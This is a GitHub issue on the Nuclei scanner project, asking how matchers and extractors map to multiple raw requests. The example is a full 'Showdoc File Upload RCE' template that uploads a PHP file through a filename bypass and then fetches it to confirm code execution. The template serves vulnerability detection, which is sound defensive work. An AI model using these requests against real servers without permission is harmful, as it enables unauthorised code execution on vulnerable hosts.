Skip to content

[question] how to make sure multiple matcher match which raw or path #919

@Nyx2022

Description

@Nyx2022

for example,

id: showdoc-file-upload-rce

info:
  name: Showdoc < 2.8.6 File Upload RCE
  author: pikpikcu
  severity: critical
  reference: https://github.com/star7th/showdoc/pull/1059
  tags: rce,fileupload,showdoc

requests:
  - raw:
      - |
        POST /index.php?s=/home/page/uploadImg HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
        Content-Length: 239
        Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
        Accept-Encoding: gzip

        ----------------------------835846770881083140190633
        Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
        Content-Type: text/plain

        <?php echo md5('rce_test');?>
        ----------------------------835846770881083140190633--

      - |
        GET /Public/Uploads{{url_decode("§path§")}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    extractors:
      - type: regex
        name: path
        group: 1
        internal: true
        part: body
        regex:
          - '/Uploads\\(.*?)"\,"success"'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '3c7cb9f46815a790686b857fdbc4295a'

      - type: status
        status:
          - 200

there are 2 matchers,and there are two raw,as we know, the first matcher match the second raw ,the second matcher match the first raw .so i think it's Doutful and chaosly. i wanna inter the nuclei, how it make sure which matcher match which raw or path, wish your answers,thanks

i also wanna know how to make sure the relationships between multiple extrators and multiple raws

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions